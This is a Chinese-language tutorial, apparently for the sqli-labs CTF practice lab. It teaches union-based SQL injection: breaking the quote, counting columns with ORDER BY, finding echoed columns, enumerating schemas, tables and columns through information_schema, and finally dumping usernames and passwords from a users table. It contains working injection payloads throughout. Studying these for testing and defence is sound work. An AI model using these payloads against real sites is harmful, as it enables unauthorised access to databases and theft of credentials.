聯合注入
原理
檢視原始碼:
可以看到這裡沒有對傳入的id
做任何過濾直接就拼接進了查詢語句,試試傳入?id=1',發現報錯:
為什麼會報錯,拼接後的語句:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
可以看到報錯是把錯誤的地方用單引號引用了
所以就算不知道後端程式碼,也能透過報錯判斷出傳參的包裹方式,利於我們後面的構造。
那麼我們傳入:
?id=1'%23
拼接語句
SELECT * FROM users WHERE id='1'#' LIMIT 0,1
發現不會報錯了,接下來進行注入。
基礎內容
- 一個可利用的資料庫:information_schema
- information_schema庫的一些可利用的表
其中比較重要的三個表:
SCHEMATA表
schemata表儲存該使用者建立的所有資料庫的庫名。要記住該表中記錄資料庫庫名的欄位名為SCHEMA_NAME
TABLES表
TABLES表儲存該使用者建立的所有資料庫的庫名和表名
table_name儲存這個資料庫對應資料庫名的裡面的表的值
table_schema是儲存了這個資料庫所有資料庫名的欄位
COLUMNS表
COLUMNS表儲存該使用者建立的所有資料庫的庫名、表名和欄位名
table_schema存的是資料庫裡面所有的資料庫名
table_name對應資料庫名的表名
column_name儲存的是對應表名的欄位名
至於一些mysql函式利用,參考:https://blog.csdn.net/Waffle666/article/details/111410039
實操
一、判斷列數
先利用order by
判斷列數(原理:order by 的作用是對前面查詢的資料屬性進行分組,比如說前面查詢的資料是甲、乙、丙,我們可以根據這三種屬性的一到三種進行分類,但如果只有3種屬性,而order by 4對四種屬性進行分組就會報錯)
1'order by 4-- a
那麼說明這裡有三種屬性也就是三個段名。
為什麼要知道有多少列:
可以看到union的每個查詢必須包含相同的列。其實也可以直接利用union select
在判斷回顯的時候進行判斷列數。只是order by在判斷大數目時更方便。
二、判斷回顯位
接下來判斷回顯位,利用union select
(原理:看到下面傳的參的第一個select是-1,因為union會把查詢結果組合在一起。但由於這裡原始碼是limit 0,1
所以還是隻會顯示一個結果,所以把前面id設為-1,查詢為空就會顯示我們的數字,這樣可以判斷顯示位)
查詢結果:
?id=-1'union select 1,2,3-- a
三、檢視基本資訊
在回顯位檢視基本資訊(其實只有看資料庫就行了)
一些常用函式:
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os
?id=-1'union select 1,database(),@@version-- a
四、資料查詢
查庫名:
?id=-1'union select 1,2,schema_name from information_schema.schemata-- a
這句話就是在information_schema
資料庫中的schemata
表中查詢schema_name
段的值(也就是所有資料庫名稱,上面也有講這個表)
但由於limit限制所以只能顯示一個值。可以加個group_concat()
,其可以拼接列資料(concat是針對行資料進行拼接,concat_ws和concat區別不大隻是可以指定分隔符)
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata-- a
其實這裡資料庫查不查無所謂,只是一般ctf中在當前資料庫沒找到flag時可以考慮其他資料庫。
後面的注入就大同小異了。
查表名:
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- a
簡單分析一下,就是查詢information_schema
資料庫tables
表中的table_name
欄位的值(這個段的值也就是資料庫對應的資料庫名的裡面的表的值)在裡欄位table_schema
來指定資料庫。
查段名:
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'-- a
和上面原理沒有區別,查詢指定資料庫的指定表的段名。
查資料:
現在知道了資料庫security下users表的所有段名,那麼接下來就是查取users表下的全部資料:
-1'union select 1,group_concat(id,',',username),group_concat(password) from security.users-- a
因為當前預設資料庫就是security,所以也可寫成:
-1'union select 1,group_concat(id,',',username),group_concat(password) from users-- a